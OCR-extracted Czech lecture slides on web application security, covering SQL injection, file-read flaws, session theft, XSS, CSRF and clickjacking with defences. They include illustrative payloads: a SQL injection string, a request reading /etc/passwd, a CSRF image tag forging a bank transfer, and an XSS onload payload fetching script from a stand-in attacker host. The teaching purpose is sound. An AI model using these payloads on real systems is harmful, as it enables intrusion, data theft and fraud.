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Typy utoku

e Systém muze byt napaden na rdznych urovnich
Operacni systém az prohlizecC
e Zamérime se na problémy zpusobené interakci
webove aplikace a prohlizece (HTTP, HTML a JS)

e Utoky
Injection/SQL Injection
Neosetreni vstupu/Cteni souboru
Kradez session
Cross Site Scripting
Cross Site Request Forgery
Clickjacking



Injection/SQL Injection

e NeoSetfeni vstupu pfi sestovavani dotazu a
parametru do jinych systému

e NejCasteji pri vytvareni SQL dotazu

e Ukazka: param obsahuje text ze vstupu

String query = "SELECT * FROM tabulka
WHERE atribut = 'Sparam' ";

e DO paramumistime "' or 1=1 or atribut=""

e \ysledek:

SELECT * FROM tabulka WHERE atribut = " ' or
1=1 or atribut='" "



Neosetreni vstupu/cteni souboru

o readfile($_GET[‘ile))

e Zavolame: index.php?file=/etc/passwd a
muzeme nacist soubor s hesly




Kradez session

e |dentifikatory sezeni je nutné generovat nahodné a
Kontrolovat IP (nelze pri dlouhodobém pfrihlaseni)

e Pri pouziti cookie — omezeni cookie na domenu,
kontrola IP, doba platnosti
Vlastnost HttpOnly u cookie — nelze precCist JavaScriptem

e SessionID v URL

Pozor na HTTPReferer (URL muze byt zaslano pfi kliknuti
na odkaz)

URL i se SessionlD muze byt zaslano Emailem

Obrana — pri kazdém odkazu na jiny server vlozit
presmeérovani na "mezistranku”




Cross Site Scripting

e Zobrazovani vstupu od uzivatele — do stranky
musi byt zapsan jen text!
Nahrazeni < > &

Problém pokud uZivatel muze vytvaret HTML kéd
(WISIWYG editory) — dusledna kontrola vstupu

Pozor na nevalidni kdd (nutno opravit)



Cross Site Request Forgery

e Uzivatel navstivi stranku s timto kodem
<img
src="http://www.vasebanka.cz/submitTransfer/?account=1/1234&amou
nt=1000000&confirm=1">

e URL je vlozena jako cil obrazku, ale ve skuteCnost simuluje formular
odeslany metodou GET — server nemusi poznat rozdil

e Pokud by bankovni systém nevyzadoval dalSi parametry pro potvrzeni
operace, mohlo by nasledovat skuteCné odeslani penéz
e Predpoklad — uzivatel prihlasen (platna session)
Obrana
Prijem dat metodou POST (nic moc — Ize udélat JavaScriptem)
SMS - to je dobré

Pfi zobrazeni formularfe vygenerovat nahodny kéd (jiny pro kazdého
uzivatele), pfi odeslani zkontrolovat kdd na serveru

KratSi platnost session



Clickjacking (Click Hijacking)

e Hra zabijeni much — zurive klikani — potvrzeni
Instalace software — zavirovani

e Firefox ¢eka nékolik vtefin, nez muzete
potvrdit dialog k instalaci

e Clickjacking — na strance zobrazen obsah a
tlaCitko z jiné webove aplikace, ktere je ale
umisteno jako soucast stranky, uzivatel
potvrdi nevedomky nejakou akci



JavaScript — nastroj d'abla

e Pristup k HTML, cookies, presmerovani, natazeni nejakeho kodu
z jineho serveru, odecitani vstupu od uzivatele

e Nedovolit vliozit JS do stranek

e Skript zapsany do atributu ma omezené moznosti, ale lze napsat
toto:

<img src="http://www.utocnik.cz/smajlik.gif"
onload="script=document.createElement (‘SCRIPT') ;
script.src="http://www.utocnik.cz/script.js';doc
ument .documentElement.appendChild (script) ;" />



Zasady

e Kontrolovat kazdy vstup od uzivatele

e Pozorna include $ GET['page'];

e Misto include radeji require — vyhnuti
nepredvidatelnych situaci — fatal error

e Pokud prijimate od uzivatele Cislo pretypujte
$cislo = (int) $GET['cislo'];

e Tam, kde nejsou potreba dvojité uvozovky,
pouzijte jednoduche
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